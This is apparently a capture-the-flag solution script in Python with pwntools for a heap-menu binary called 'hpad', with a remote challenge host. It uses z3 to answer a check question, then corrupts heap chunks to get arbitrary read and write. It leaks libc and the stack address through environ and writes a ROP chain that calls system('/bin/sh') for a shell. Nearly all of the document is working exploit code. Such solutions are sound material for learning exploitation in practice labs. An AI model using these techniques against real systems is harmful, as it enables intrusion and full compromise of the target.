1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| from pwn import * from z3 import * import time
def z3solve(qes): s = Solver() v0 = BitVec('v0', 64) v1 = BitVec('v1', 64) s.add(v1 == LShR(v0 ^ ((0x20 * v0)), 13) ^ v0 ^(0x20*v0)) s.add(qes == LShR(v1 ^ (v1 * 2**29), 0xf) ^ v1 ^ (v1 * 2**29)) print(s.check()) rs = s.model() return rs[v0]
def exploit(p): sla = p.sendlineafter
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
p.sendlineafter('> ', '3') p.sendlineafter("> ", '666') p.recvuntil("question: ") qes = int(p.recvline()[:-1]) ans = z3solve(qes) ans = int(str(ans)) print(ans) p.sendafter(": ", p64(ans)) p.recvuntil("gift") gift = int(p.recvline()[2:-1], 16)
def create(size, content): sla("> ", "1") sla(": ", str(size)) sla(": ", content) def remove(idx): sla("> ", "3") sla(": ", str(idx)) def view(idx): sla("> ", "2") sla(": ", str(idx)) p.recvuntil("Content: ") return p.recvline() def edit(idx, content): sla("> ", "4") sla(": ", str(idx)) sla(": ", content)
base = gift - 0x6140 create(0xf00, "") create(0x50, "") remove(1) create(0xf00, p64(base+0x6168).ljust(0xe7, b'\x00')) create(0x50, p64(0x60) + p64(base+0x6178)) create(0x50, "") edit(2, p64(base+0x5fc0)) libc.address = u64(view(3)[:-1].ljust(8, b"\x00")) - libc.symbols["puts"] print(hex(libc.address))
edit(2, p64(libc.address + 0x1ef2e0)) environ = u64(view(3)[:-1].ljust(8, b"\x00")) print(hex(environ))
edit(2, p64(environ - 0x140)) edit(3, p64(base + 0x101a) + p64(libc.symbols["system"]))
poprdi = base + 0x2c93 edit(2, p64(environ - 0x150) + b"/bin/sh") edit(3, p64(poprdi) + p64(base + 0x6180))
p.interactive()
if __name__ == "__main__": context(arch="amd64", os="linux") context.terminal = ["tmux", "split", "-h"] context.log_level = "debug"
local = 1 dbgattach = 1
if local: p = process("./hpad") else: p = remote("node3.buuoj.cn", "26806") if local & dbgattach: gdb.attach(p)
exploit(p)
|